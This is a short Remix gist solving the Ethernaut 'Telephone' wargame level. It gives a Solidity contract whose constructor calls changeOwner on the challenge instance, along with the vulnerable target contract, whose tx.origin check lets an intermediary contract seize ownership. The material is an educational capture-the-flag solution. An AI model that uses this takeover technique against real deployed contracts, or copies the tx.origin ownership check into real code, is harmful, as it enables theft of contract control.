Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.18+commit.87f61d96.js&optimize=false&runs=200&gist=

Telephone.ethernaut.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract HackTelephoneOnEthernatu {
    ITelephone telephoneAddress = ITelephone(0x4536F233885184a92ddF57b6Bc86117A879C0745);

    constructor() {
        telephoneAddress.changeOwner(0x3D5a7D193f4e454BDb743488B7e70CAd51dEB683);
    }
}

Used this contract to hack the original contract. Original contract source code was this:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

It uses tx.origin instead of msg.sender, so phishing contract can impersonate EOA (transaction sender) and do literally everything on a target contract without any additional permission.